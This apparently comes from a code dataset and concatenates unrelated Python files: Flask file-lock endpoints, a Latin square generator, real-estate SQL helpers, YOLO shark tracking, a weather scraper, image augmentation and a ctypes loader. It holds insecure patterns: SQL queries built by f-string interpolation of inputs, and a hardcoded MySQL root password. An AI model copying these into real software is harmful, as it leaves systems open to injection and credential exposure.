FileLockBaseView(FilesystemBaseView):\n cutoff_duration = timedelta(minutes=5)\n\n def get_locks_response(self, hash_id: str):\n current_user = g.current_user\n\n file = self.get_nondeleted_recycled_file(Files.hash_id == hash_id)\n self.check_file_permissions([file], current_user, ['writable'], permit_recycled=True)\n\n t_lock_user = aliased(AppUser)\n\n cutoff_date = datetime.now() - self.cutoff_duration\n\n query = db.session.query(FileLock) \\\n .join(t_lock_user, t_lock_user.id == FileLock.user_id) \\\n .options(contains_eager(FileLock.user, alias=t_lock_user)) \\\n .filter(FileLock.hash_id == file.hash_id,\n FileLock.acquire_date >= cutoff_date) \\\n .order_by(desc(FileLock.acquire_date))\n\n results = query.all()\n\n return jsonify(FileLockListResponse(context={\n 'current_user': current_user,\n }).dump({\n 'results': results,\n }))\n\n\nclass FileLockListView(FileLockBaseView):\n \"\"\"Endpoint to get the locks for a file.\"\"\"\n decorators = [auth.login_required]\n\n def get(self, hash_id: str):\n return self.get_locks_response(hash_id)\n\n @use_args(FileLockCreateRequest)\n def put(self, params: Dict, hash_id: str):\n current_user = g.current_user\n\n file = self.get_nondeleted_recycled_file(Files.hash_id == hash_id)\n self.check_file_permissions([file], current_user, ['writable'], permit_recycled=True)\n\n acquire_date = datetime.now()\n cutoff_date = datetime.now() - self.cutoff_duration\n\n file_lock_table = FileLock.__table__\n stmt = insert(file_lock_table).returning(\n file_lock_table.c.user_id,\n ).values(hash_id=file.hash_id,\n user_id=current_user.id,\n acquire_date=acquire_date\n ).on_conflict_do_update(\n index_elements=[\n file_lock_table.c.hash_id,\n ],\n set_={\n 'acquire_date': datetime.now(),\n 'user_id': current_user.id,\n },\n where=and_(\n file_lock_table.c.hash_id == hash_id,\n or_(file_lock_table.c.user_id == current_user.id,\n file_lock_table.c.acquire_date < cutoff_date)\n ),\n )\n\n result = db.session.execute(stmt)\n lock_acquired = bool(len(list(result)))\n db.session.commit()\n\n if lock_acquired:\n return self.get_locks_response(hash_id)\n else:\n return make_response(self.get_locks_response(hash_id), 409)\n\n @use_args(FileLockDeleteRequest)\n def delete(self, params: Dict, hash_id: str):\n current_user = g.current_user\n\n file = self.get_nondeleted_recycled_file(Files.hash_id == hash_id)\n self.check_file_permissions([file], current_user, ['writable'], permit_recycled=True)\n\n file_lock_table = FileLock.__table__\n db.session.execute(\n file_lock_table.delete().where(and_(\n file_lock_table.c.hash_id == file.hash_id,\n file_lock_table.c.user_id == current_user.id))\n )\n db.session.commit()\n\n return self.get_locks_response(hash_id)\n\n\nclass FileAnnotationHistoryView(FilesystemBaseView):\n \"\"\"Implements lookup of a file's annotation history.\"\"\"\n decorators = [auth.login_required]\n\n @use_args(PaginatedRequestSchema)\n def get(self, pagination: Dict, hash_id: str):\n \"\"\"Get the annotation of a file.\"\"\"\n user = g.current_user\n\n file = self.get_nondeleted_recycled_file(Files.hash_id == hash_id)\n self.check_file_permissions([file], user, ['readable'], permit_recycled=True)\n\n query = db.session.query(FileAnnotationsVersion) \\\n .filter(FileAnnotationsVersion.file == file) \\\n .order_by(desc(FileAnnotationsVersion.creation_date)) \\\n .options(joinedload(FileAnnotationsVersion.user))\n\n per_page = pagination['limit']\n page = pagination['page']\n\n total = query.order_by(None).count()\n if page == 1:\n items = itertools.chain(\n [file],\n query.limit(per_page).offset((page - 1) * per_page)\n )\n else:\n items = query.limit(per_page + 1).offset((page - 1) * per_page - 1)\n\n results = []\n\n for newer, older in window(items):\n results.append({\n 'date': older.creation_date,\n 'user': newer.user,\n 'cause': older.cause,\n 'inclusion_changes': self._get_annotation_changes(\n older.custom_annotations, newer.custom_annotations, 'inclusion'),\n 'exclusion_changes': self._get_annotation_changes(\n older.excluded_annotations, newer.excluded_annotations, 'exclusion'),\n })\n\n return jsonify(FileAnnotationHistoryResponseSchema().dump({\n 'total': total,\n 'results': results,\n }))\n\n def _get_annotation_changes(\n self,\n older: List[Union[FileAnnotationsVersion, Files]],\n newer: List[Union[FileAnnotationsVersion, Files]],\n type: Union[Literal['inclusion'], Literal['exclusion']]\n ) -> Iterable[Dict]:\n changes: Dict[str, Dict] = {}\n\n if older is None and newer is not None:\n for annotation in newer:\n self._add_change(changes, 'added', annotation, type)\n elif older is not None and newer is None:\n for annotation in older:\n self._add_change(changes, 'removed', annotation, type)\n elif older is not None and newer is not None:\n ddiff = DeepDiff(older, newer, ignore_order=True)\n for action in ('added', 'removed'):\n for key, annotation in ddiff.get(f'iterable_item_{action}', {}).items():\n if key.startswith('root['): # Only care about root changes right now\n self._add_change(changes, action, annotation, type)\n\n return changes.values()\n\n def _add_change(\n self,\n changes: Dict[str, Dict],\n action: str,\n annotation: Dict,\n type: Union[Literal['inclusion'], Literal['exclusion']]\n ) -> None:\n meta = annotation['meta'] if type == 'inclusion' else annotation\n id = meta['id'] if len(meta['id']) else f\"@@{meta['allText']}\"\n\n if id not in changes:\n changes[id] = {\n 'action': action,\n 'meta': meta,\n 'instances': [],\n }\n\n changes[id]['instances'].append(annotation)\n\n\n# Use /content for endpoints that return binary data\nbp.add_url_rule('objects', view_func=FileListView.as_view('file_list'))\nbp.add_url_rule('objects/hierarchy', view_func=FileHierarchyView.as_view('file_hierarchy'))\nbp.add_url_rule('search', view_func=FileSearchView.as_view('file_search'))\nbp.add_url_rule('objects/', view_func=FileDetailView.as_view('file'))\nbp.add_url_rule('objects//content',\n view_func=FileContentView.as_view('file_content'))\nbp.add_url_rule('objects//map-content',\n view_func=MapContentView.as_view('map_content'))\nbp.add_url_rule('objects//export', view_func=FileExportView.as_view('file_export'))\nbp.add_url_rule('objects//backup', view_func=FileBackupView.as_view('file_backup'))\nbp.add_url_rule('objects//backup/content',\n view_func=FileBackupContentView.as_view('file_backup_content'))\nbp.add_url_rule('objects//versions',\n view_func=FileVersionListView.as_view('file_version_list'))\nbp.add_url_rule('versions//content',\n view_func=FileVersionContentView.as_view('file_version_content'))\nbp.add_url_rule('/objects//locks',\n view_func=FileLockListView.as_view('file_lock_list'))\nbp.add_url_rule('/objects//annotation-history',\n view_func=FileAnnotationHistoryView.as_view('file_annotation_history'))\n","repo_name":"SBRG/lifelike","sub_path":"appserver/neo4japp/blueprints/filesystem.py","file_name":"filesystem.py","file_ext":"py","file_size_in_byte":62958,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"47"} +{"seq_id":"73891766862","text":"\"\"\"File date\n\nRevision ID: 8f7198d9411e\nRevises: a11e7f255b4a\nCreate Date: 2019-02-01 11:49:57.612522\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '8f7198d9411e'\ndown_revision = 'a11e7f255b4a'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('file', sa.Column('date', sa.String(length=140), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('file', 'date')\n # ### end Alembic commands ###\n","repo_name":"dacrands/flask-s3-upload","sub_path":"migrations/versions/8f7198d9411e_file_date.py","file_name":"8f7198d9411e_file_date.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"1253557233","text":"\r\nn = int(input())\r\na = list(map(int, input().split()))\r\nselected = []\r\nused = [0] * n\r\nans = 0\r\n\r\ndef getSum():\r\n total = 0\r\n for i in range(1,n):\r\n total += abs(selected[i] - selected[i-1])\r\n return total\r\ndef choose(cnt):\r\n global ans\r\n if cnt == n:\r\n\r\n ans = max(ans, getSum())\r\n return\r\n\r\n\r\n for i in range(n):\r\n if used[i]:\r\n continue\r\n\r\n used[i] = 1\r\n selected.append(a[i])\r\n choose(cnt+1)\r\n selected.pop()\r\n used[i] = 0\r\n\r\n\r\nchoose(0)\r\n\r\nprint(ans)\r\n","repo_name":"minyoung62/Algorithm-Study","sub_path":"백준/Silver/10819. 차이를 최대로/차이를 최대로.py","file_name":"차이를 최대로.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32986134157","text":"from random import randint\n\n\nclass LatinSquare:\n\n def __init__(self, size):\n self.size = size\n self.square = [[None for i in range(self.size)] for j in range(self.size)]\n\n def get_cell(self, point):\n return self.square[point[0]][point[1]]\n\n def set_cell(self, point, value):\n self.square[point[0]][point[1]] = value\n\n def to_incidence_cube(self):\n ic = IncidenceCube(self.size)\n\n for x in range(self.size):\n for y in range(self.size):\n ic.cube[x][y][self.square[x][y]] = 1\n\n return ic\n\n def is_valid(self):\n x_val = [set() for _ in range(self.size)]\n y_val = [set() for _ in range(self.size)]\n\n for x in range(self.size):\n for y in range(self.size):\n v = self.get_cell((x, y))\n x_val[x].add(v)\n y_val[y].add(v)\n\n return (all([len(x) == self.size for x in x_val]) and\n all([len(y) == self.size for y in y_val]))\n\n @classmethod\n def generate_default_latin_square(cls, size):\n ls = cls(size)\n\n for x in range(size):\n for y in range(size):\n ls.set_cell((x, y), (y + x) % size)\n\n return ls\n\n @classmethod\n def generate_latin_square(cls, size):\n latin_square = cls.generate_default_latin_square(size)\n incidence_cube = latin_square.to_incidence_cube()\n incidence_cube.shuffle(size**3)\n\n return incidence_cube.to_latin_square()\n\n\nclass IncidenceCube:\n\n def __init__(self, size):\n self.size = size\n self.proper = True\n self.cube = [[] for _ in range(self.size)]\n self.improper_cell = None\n\n for row in self.cube:\n for i in range(self.size):\n row.append([0 for _ in range(self.size)])\n\n def to_latin_square(self):\n ls = LatinSquare(self.size)\n\n for x in range(self.size):\n for y in range(self.size):\n for z in range(self.size):\n if self.cube[x][y][z] == 1:\n ls.set_cell((x, y), z)\n\n return ls\n\n def move(self, point_a, point_b):\n self.cube[point_a[0]][point_a[1]][point_a[2]] += 1\n self.cube[point_a[0]][point_b[1]][point_b[2]] += 1\n self.cube[point_b[0]][point_b[1]][point_a[2]] += 1\n self.cube[point_b[0]][point_a[1]][point_b[2]] += 1\n self.cube[point_a[0]][point_a[1]][point_b[2]] -= 1\n self.cube[point_a[0]][point_b[1]][point_a[2]] -= 1\n self.cube[point_b[0]][point_a[1]][point_a[2]] -= 1\n self.cube[point_b[0]][point_b[1]][point_b[2]] -= 1\n\n def find_cell_with_zero(self):\n\n while True:\n x = randint(0, self.size - 1)\n y = randint(0, self.size - 1)\n z = randint(0, self.size - 1)\n\n if (self.cube[x][y][z] == 0):\n break\n\n return x, y, z\n\n def find_cell_with_one(self, x=None, y=None, z=None, skip_next=None):\n point = None\n\n for i in range(self.size):\n if x is None:\n cell_val = self.cube[i][y][z]\n p = (i, y, z)\n elif y is None:\n cell_val = self.cube[x][i][z]\n p = (x, i, z)\n else:\n cell_val = self.cube[x][y][i]\n p = (x, y, i)\n\n if cell_val == 1:\n point = p\n\n if not skip_next or skip_next():\n break\n\n return point\n\n def shuffle(self, min_iterations):\n iterations = 0\n\n while iterations < min_iterations or not self.proper:\n iterations += 1\n\n if self.proper:\n point_a = self.find_cell_with_zero()\n x = self.find_cell_with_one(y=point_a[1], z=point_a[2])[0]\n y = self.find_cell_with_one(x=point_a[0], z=point_a[2])[1]\n z = self.find_cell_with_one(x=point_a[0], y=point_a[1])[2]\n else:\n skip_next = lambda: bool(randint(0, 1))\n point_a = self.improper_cell\n x = self.find_cell_with_one(y=point_a[1], z=point_a[2],\n skip_next=skip_next)[0]\n y = self.find_cell_with_one(x=point_a[0], z=point_a[2],\n skip_next=skip_next)[1]\n z = self.find_cell_with_one(x=point_a[0], y=point_a[1],\n skip_next=skip_next)[2]\n\n point_b = (x , y, z)\n self.move(point_a, point_b)\n self.proper = self.cube[point_b[0]][point_b[1]][point_b[2]] != -1\n\n if not self.proper:\n self.improper_cell = point_b\n\n return iterations\n","repo_name":"marcin-majcher/latin-squares-generator","sub_path":"lsquare.py","file_name":"lsquare.py","file_ext":"py","file_size_in_byte":4743,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"2037181132","text":"import sys\nimport cv2\nimport json\nfrom ultralytics import YOLO\n# import supervision as sv\n# import numpy as np\n# from collections import defaultdict\n\nTHICKNESS = 2\nFONT_SCALE = 0.5\nFONT = cv2.FONT_HERSHEY_SIMPLEX\nCOLOR = (255, 0, 0)\nLABEL_COLOR = (56, 56, 255)\n\ndef load_video(video_path, output_path=\"./results/output.mp4\"):\n cap = cv2.VideoCapture(video_path)\n frame_width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))\n frame_height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\n fourcc = cv2.VideoWriter_fourcc(*\"mp4v\")\n fps = int(cap.get(cv2.CAP_PROP_FPS))\n out = cv2.VideoWriter(output_path, fourcc, fps, (frame_width, frame_height))\n return cap, out\n\ndef ResizeWithAspectRatio(image, width=None, height=None, inter=cv2.INTER_AREA):\n dim = None\n (h, w) = image.shape[:2]\n\n if width is None and height is None:\n return image\n if width is None:\n r = height / float(h)\n dim = (int(w * r), height)\n else:\n r = width / float(w)\n dim = (width, int(h * r))\n\n return cv2.resize(image, dim, interpolation=inter)\n\ndef display_frame(annotated_frame):\n \n # Display the annotated frame\n resize = ResizeWithAspectRatio(annotated_frame, width=1200, height=800)\n cv2.imshow(\"YOLOv8 Tracking\", resize)\n\n # Resizing the window\n cv2.resizeWindow(\"YOLOv8 Tracking\", 1200, 800)\n\n\ndef is_shark_missed(json_format):\n missed = True\n for obj in json_format:\n if obj[\"name\"] == \"shark\":\n missed = False\n return missed\n\n# Reference: https://stackoverflow.com/questions/40795709/checking-whether-two-rectangles-overlap-in-python-using-two-bottom-left-corners\ndef is_overlapping(rec1, rec2):\n # print(\"Testing overlapping between\", rec1, \"and\", rec2)\n if (rec2['x2'] > rec1['x1'] and rec2['x2'] < rec1['x2']) or (rec2['x1'] > rec1['x1'] and rec2['x1'] < rec1['x2']):\n x_match = True\n else:\n x_match = False\n if (rec2['y2'] > rec1['y1'] and rec2['y2'] < rec1['y2']) or (rec2['y1'] > rec1['y1'] and rec2['y1'] < rec1['y2']):\n y_match = True\n else:\n y_match = False\n if x_match and y_match:\n return True\n else:\n return False\n\n# def find_sharks_by_sam(prev_sharks_prediction_list, sam_results):\n# results = []\n# for shark in prev_sharks_prediction_list:\n# shark_name, shark_cls, shark_box, shark_confidence = shark\n# for obj in sam_results:\n# obj_name, obj_cls, obj_box, obj_confidence = obj\n# if is_overlapping(shark_box, obj_box):\n# results.append(('shark', obj_cls, obj_box, obj_confidence))\n# return results\n\ndef get_box_center(box):\n x1 = box[\"x1\"]\n x2 = box[\"x2\"]\n y1 = box[\"y1\"]\n y2 = box[\"y2\"]\n return (int(x1 + ((x2 - x1)//2)), int(y1 + ((y2 - y1)//2)))\n\nclass GeneralObject():\n\n def __init__(self, name, cls, box, confidence, frame_cnt):\n self.name = name\n self.cls = cls\n self.box = box\n self.tracking_history = []\n self.confidence = confidence\n self.frame_cnt = frame_cnt\n \n def __str__(self):\n return f\"[ Name={self.name} Box={self.box} ]\"\n\n def update_box(self, box):\n self.box = box\n\n def update_confidence(self, confidence):\n self.confidence = confidence\n\n def append_tracking_history(self, center):\n self.tracking_history.append(center)\n\n def draw_box(self, frame):\n # Draw Box\n cv2.rectangle(frame, (int(self.box[\"x1\"]), int(self.box[\"y1\"])), (int(self.box[\"x2\"]), int(self.box[\"y2\"])), (56, 56, 255), 2) \n\n def draw_circle(self, frame):\n cv2.circle(frame, get_box_center(self.box), 5, LABEL_COLOR, 3)\n\n def draw_line(self, frame, other):\n cv2.line(frame, get_box_center(self.box), get_box_center(other.box), COLOR, thickness=THICKNESS, lineType=8)\n\n def draw_label(self, frame, text):\n center = get_box_center(self.box)\n label_pos = (center[0], center[1]-2)\n cv2.putText(frame, text, label_pos, FONT, \n FONT_SCALE, LABEL_COLOR, THICKNESS, cv2.LINE_AA)\n\n def __eq__(self, other):\n return is_overlapping(self.box, other.box)\n\n\ndef main(model_path=\"best.pt\", video_path=\"./assets/example_vid_1.mp4\", output_path=\"./results/test.mp4\", standard_confidence=0.77): \n\n frame_tracker = []\n \n # 1. Set up a model\n model = YOLO(model_path)\n model.to(\"cuda\")\n\n # 2. Video Setup\n # Open the video file\n cap, video_writer = load_video(video_path, output_path)\n\n # fs = FastSAMCustom()\n\n # 3. SAM setup\n # Set up SAM\n\n # Loop through the video frames\n frame_cnt = 1\n while cap.isOpened():\n\n # Read a frame from the video\n success, frame = cap.read()\n frame_tracker.append([])\n prev_objects = None\n\n if success:\n \n # Run YOLOv8 tracking on the frame, persisting tracks between frames\n results = model(frame)\n \n \"\"\"\n # Custom SAM\n sam_results = fs.get_json_data(frame=frame)\n if sam_results:\n for idx, r in enumerate(sam_results):\n # print(f\"SAM {frame_cnt}-{idx}\", r)\n continue\n else:\n print(\"No SAM results\")\n # Doc: https://docs.ultralytics.com/modes/predict/#boxes\n \"\"\"\n\n # 1. Iterate the YOLO results\n for idx, r in enumerate(results):\n # Returns torch.Tensor(https://pytorch.org/docs/stable/tensors.html)\n # xywh returns the boxes in xywh format.\n # cpu() moves the object into cpu\n boxes = r.boxes.xywh.cpu()\n\n \n # Contains box plot information\n yolo_json_format = json.loads(r.tojson())\n\n # 1-1. Construct all object list and shark list\n for obj in yolo_json_format: \n name = obj[\"name\"]\n cls = obj[\"class\"]\n box = obj[\"box\"]\n confidence = obj[\"confidence\"]\n \n # Create a new General Object\n new_obj = GeneralObject(name, cls, box, confidence, frame_cnt)\n \n # Append the object if it has a high possiblity of being a shark\n if new_obj.name == 'shark' and new_obj.confidence > standard_confidence:\n frame_tracker[frame_cnt-1].append(new_obj)\n\n \n # 2. Draw Tracking History for each frame\n for objects in frame_tracker:\n \n if len(objects) > 0:\n\n for obj in objects: \n\n # Get the box center\n center = get_box_center(obj.box)\n \n if not prev_objects:\n \n # Draw a circle\n cv2.circle(frame, center, 5, LABEL_COLOR, 3)\n \n # Draw a label\n obj.draw_label(frame, f\"Shark at: t{obj.frame_cnt}\")\n \n # Draw a line \n if prev_objects:\n \n # Connect dectected objects from previous frame and current frame if any of them are overlapping\n for prev_obj in prev_objects:\n prev_obj.draw_line(frame, obj)\n \n prev_objects = objects\n \n \n \n # 3. Write into the video file & increase the frame counter\n video_writer.write(frame)\n frame_cnt+=1\n\n else:\n # Break the loop if the end of the video is reached\n break\n\n # Release the video capture object and close the display window\n video_writer.release()\n cap.release()\n\nif __name__ == \"__main__\":\n # Check if the user provided the correct number of arguments\n if len(sys.argv) == 5:\n \n # Get the command-line arguments\n model_path = sys.argv[1]\n video_path = sys.argv[2]\n output_path = sys.argv[3]\n standard_confidence = float(sys.argv[4])\n\n # Start the main function\n main(model_path, video_path, output_path, standard_confidence)\n \n elif len(sys.argv) == 1:\n main()\n\n else:\n\n # Print error\n print(\"Usage: python script.py model_path video_path output_path standard_confidence\")\n sys.exit(1)\n","repo_name":"ben9543/honors-thesis-shark-tracking","sub_path":"thinkpad_lagacy/without_box_detection.py","file_name":"without_box_detection.py","file_ext":"py","file_size_in_byte":8662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"15736323609","text":"class search:\n def searchDanji(self, sido, sigungu, danji):\n \"\"\" 단지를 특정하는 기능\"\"\"\n\n sql = f\"\"\"\n SELECT complexNo,\n complexName, \n sidoCode, \n sigunguCode,\n bdongCode,\n sigunguName,\n bdongName,\n address, \n detailAddress\n FROM `aidepartners.aide.complex_danji_information`\n WHERE sigunguName LIKE '%{sido}%' \n AND sigunguName LIKE '%{sigungu}%' \n AND complexName LIKE \"%{danji}%\" \n AND realEstateTypeName IN ('아파트','아파트분양권')\n \n \"\"\"\n search = BH.read_table(sql)\n sidoCode, sigunguCode, bdongCode, complexNo = search[\n [\"sidoCode\", \"sigunguCode\", \"bdongCode\", \"complexNo\"]\n ].iloc[0]\n return sidoCode, sigunguCode, bdongCode, complexNo\n\n\nclass apartProcessing:\n def __init__(self, sidoCode, sigunguCode, bdongCode, complexNo):\n self.sidoCode = sidoCode\n self.sigunguCode = sigunguCode\n self.bdongCode = bdongCode\n self.complexNo = complexNo\n\n # def extractTargetPrice(self):\n # \"\"\"입력받은 단지에 해당하는 실거래 시계열데이터 반환함수\"\"\"\n # sql = f\"\"\"\n # SELECT *\n # FROM `aidepartners.aide.aide_apartment_price_origin`\n # WHERE complexNo = \"{self.complexNo}\"\n # \"\"\"\n # df_target = BH.read_table(sql)\n # # 날짜 형변환\n # df_target['yearMonth'] =pd.to_datetime(df_target['yearMonth'])\n # return df_target\n\n def regionPrice(self):\n \"\"\"시도, 시군구, 법정동별 가격 추이\"\"\"\n # 입력단지와 같은 시도에 있는 데이터 추출\n sql = f\"\"\"\n SELECT *\n FROM `aidepartners.aide.aide_apartment_price_origin`\n WHERE sidoCode = \"{self.sidoCode}\"\n AND isReal = True\n AND yearMonth >= \"2018-03-01\"\n \"\"\"\n df_total = BH.read_table(sql)\n df_target = (\n df_total[df_total[\"complexNo\"] == self.complexNo]\n .sort_values(by=\"yearMonth\", ascending=False)\n .reset_index(drop=True)\n )\n df_sido = df_total.groupby(\"yearMonth\")[\"averagePyeong\"].mean().reset_index()\n df_sigungu = (\n df_total[df_total[\"sigunguCAode\"] == self.sigunguCode]\n .groupby(\"yearMonth\")[\"averagePyeong\"]\n .mean()\n .reset_index()\n )\n df_bdong = (\n df_total[df_total[\"bdongCode\"] == self.bdongCode]\n .groupby(\"yearMonth\")[\"averagePyeong\"]\n .mean()\n .reset_index()\n )\n\n return df_target, df_sido, df_sigungu, df_bdong\n\n","repo_name":"ljs7463/prop-tech","sub_path":"부동산 보고서 프로젝트/모듈/가격추이2.py","file_name":"가격추이2.py","file_ext":"py","file_size_in_byte":2727,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"70525392782","text":"#!/usr/bin/python\nfrom __future__ import print_function\nimport numpy as np\nimport cv2\nfrom matplotlib import pyplot as plt\n\n\nimg= cv2.imread(\"lenna.png\", -1)\nrow, column, channel= img.shape\nB,G,R= img[:,:,0], img[:,:, 1], img[:,:, 2]\nmatrix=[0.299, 0.587, 0.114]\nB=(0.299*B)\nR=(0.114*R)\nG=(0.587*G)\nimg_gray=(B+G+R).astype('uint8')\n\ncv2.imshow('image',img_gray)\ncv2.waitKey(2000)\ncv2.destroyAllWindows()\n","repo_name":"amitkvikram/VISTAAR-CVG-IITM","sub_path":"day4/rgb2gray1.py","file_name":"rgb2gray1.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37601388675","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jun 20 23:34:20 2018\r\n\r\n@author: Adam\r\n\"\"\"\r\nfrom bs4 import BeautifulSoup\r\n#import pymysql\r\nimport requests\r\n\r\ndef Insert_Data():\r\n # MySQL Connection 연결\r\n conn = pymysql.connect(host='localhost', port=32768, user='root', password='test9131', db='chat')\r\n # Connection 으로부터 Cursor 생성\r\n curs = conn.cursor()\r\n # SQL문 실행\r\n sql = \"select * from word\"\r\n curs.execute(sql)\r\n # 데이타 Fetch\r\n rows = curs.fetchall()\r\n print(rows) # 전체 rows\r\n conn.close()\r\n\r\n\r\ndef weather():\r\n response = requests.get('https://search.daum.net/search?w=tot&DA=UMZ&t__nil_searchbox=suggest&sug=topex&sugo=16&sq=%EC%9D%B8%EC%B2%9C%EB%82%A0%EC%94%A8&o=1&q=%EC%9D%B8%EC%B2%9C+%EB%82%A0%EC%94%A8')\r\n html = response.text\r\n soup = BeautifulSoup(html, 'html.parser') #html.parser를 사용해서 soup에 넣겠다\r\n\r\n my_titles = soup.select(\r\n 'div.coll_cont > div > div.wrap_region.today > div.cont_weather > div.cont_today > div.info_temp > div > span > span.desc_temp'\r\n )\r\n for title in my_titles:\r\n s = title.text.strip()\r\n# print(\"인천날씨 : \",s)\r\n return s\r\n","repo_name":"JanoJeon/my_bot","sub_path":"db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"39414876449","text":"from pyjsaw.js_stuff.vuestuff import VDot as v, VTempl, template, slot\nfrom pyjsaw.js_stuff import html as h\nfrom pyjsaw.typing.jstyping import literal, String\nfrom pyjsaw.typing.vuetyping import Vue\n\n\n# VTempl is special built-in\npage_templ = VTempl({\n h.Div(): {\n h.H3():\n '{{title}}',\n h.Div(Class='header'): {\n slot(name='header'): '[default header]'\n },\n h.Div(Class='content'): {\n slot(name='content'): 'Sorry, it seems no content today'\n },\n h.Button(v.on(click='toggle_footer')): # we can just 'footer_visible = !footer_visible'\n \"{{footer_visible ? 'Hide' : 'Show' }} footer\",\n h.Div(v.show('footer_visible'), Class='footer'): {\n slot(name='footer'): '[default footer]'\n },\n }\n})\n\n\n@literal\nclass Page:\n template = page_templ\n\n @literal\n class props:\n title = {'type': String, 'default': 'Page Title'}\n\n def data(self):\n return {\n 'footer_visible': False\n }\n\n @literal\n class methods:\n def toggle_footer(self):\n self.footer_visible = not self.footer_visible\n\n\napp_templ = VTempl({\n Page(v.bind(title='app_title')): {\n template(v.slot(header=None)):\n 'Page Header goes here',\n template(v.slot(content=None)):\n 'Some content from App-component',\n }\n})\n\n\n@literal\nclass App:\n template = app_templ\n\n def data(self):\n return {\n 'app_title': 'This title comes from App component'\n }\n\n # register Page-component localy - just for example\n # to register globally: Vue.component('Page', Page)\n components = {\n 'Page': Page\n }\n\n\napp = Vue(App) # just `App`, not `App()` - no parens here as it is `@literal` not a real class\n\napp.S_mount('#app')\n","repo_name":"valq7711/pyjsaw","sub_path":"play/vue_example.py","file_name":"vue_example.py","file_ext":"py","file_size_in_byte":1826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"9998432568","text":"from skimage import io\nfrom skimage import util\nfrom skimage import transform\n# from scipy.spatial.transform import Rotation as R\nfrom skimage.transform import rotate\nimport os\nimport cv2\nimport random\nfrom scipy import ndarray\n\n# image processing library\nimport skimage as sk\nfrom skimage.io import imread\n# from scipy.misc import imread\n# im = imread(\"farm.jpg\")\n\n\ndef random_rotation(image_array: ndarray):\n # pick a random degree of rotation between 25% on the left and 25% on the right\n angales_list = [90, 180, 270]\n random_degree = random.choice(angales_list)\n # if random_degree == 0:\n # return rotate(image_array, random_degree)\n if random_degree == 90:\n return cv2.rotate(image_array, cv2.ROTATE_90_COUNTERCLOCKWISE)\n elif random_degree == 180:\n return cv2.rotate(image_array, cv2.ROTATE_180)\n elif random_degree == 270:\n return cv2.rotate(image_array, cv2.ROTATE_90_CLOCKWISE)\n\n\ndef random_noise(image_array: ndarray):\n # add random noise to the image\n return sk.util.random_noise(image_array)\n\n\ndef horizontal_flip(image_array: ndarray):\n # horizontal flip doesn't need skimage, it's easy as flipping the image array of pixels !\n return image_array[:, ::-1]\n\n\n# dictionary of the transformations we defined earlier\navailable_transformations = {\n 'rotate': random_rotation,\n 'noise': random_noise,\n # 'horizontal_flip': horizontal_flip\n}\n\nfolder_path = '/home/rits/Documents/Assets/UAE_identity/Samples/'\nnum_files_desired = 200\n\n# find all files paths from the folder\nimages = [os.path.join(folder_path, f) for f in os.listdir(folder_path) if os.path.isfile(os.path.join(folder_path, f))]\n\nnum_generated_files = 0\nwhile num_generated_files <= num_files_desired:\n print(\"-------num_generated_files----------\")\n print(num_generated_files)\n print(\"-------num_generated_files----------\")\n\n print(\"-------num_files_desired----------\")\n print(num_files_desired)\n print(\"-------num_files_desired----------\")\n\n # random image from the folder\n image_path = random.choice(images)\n print(\"--------image_path------------\")\n print(image_path)\n print(\"--------image_path------------\")\n # read image as an two dimensional array of pixels\n # image_to_transform = cv2.imread(image_path)\n # print(image_path)\n image_to_transform = imread(image_path)\n # random num of transformation to apply\n num_transformations_to_apply = random.randint(1, len(available_transformations))\n\n num_transformations = 0\n transformed_image = None\n while num_transformations <= num_transformations_to_apply:\n # random transformation to apply for a single image\n key = random.choice(list(available_transformations))\n transformed_image = available_transformations[key](image_to_transform)\n num_transformations += 1\n\n new_file_path = '%s/augmented_image_%s.png' % (folder_path, num_generated_files)\n\n # write image to the disk\n io.imsave(new_file_path, transformed_image)\n num_generated_files += 1\n","repo_name":"Anupam124jain/Face-recognation","sub_path":"icon_tag_extraction_poc/image_agumentation.py","file_name":"image_agumentation.py","file_ext":"py","file_size_in_byte":3036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"17955379938","text":"# -*- coding: utf-8 -*-\n\n'''\nThis Source Code Form is subject to the terms of the Mozilla\nPublic License, v. 2.0. If a copy of the MPL was not distributed\nwith this file, You can obtain one at http://mozilla.org/MPL/2.0/.\n'''\n\nimport os\nimport ctypes\nimport agent\nimport stat\nimport subprocess\n\ndef load_library(name):\n retlib = None\n if os.path.exists(\"native/\" + name):\n retlib = ctypes.CDLL(\"native/\" + name)\n else: \n #Develop Mode\n if agent.is_os_32bit():\n retlib = ctypes.CDLL(\"native_linux_x86_32/\" + name)\n elif agent.is_os_64bit():\n retlib = ctypes.CDLL(\"native_linux_x86_64/\" + name)\n return retlib\n\ndef unload_library(olib):\n import _ctypes\n _ctypes.dlclose(olib._handle)\n del olib\n\n'''\n\ndel olib\n olib.dlclose(olib._handle)\nwhile isLoaded('./mylib.so'):\n dlclose(handle)\n\nIt's so unclean that I only checked it works using:\n\ndef isLoaded(lib):\n libp = os.path.abspath(lib)\n ret = os.system(\"lsof -p %d | grep %s > /dev/null\" % 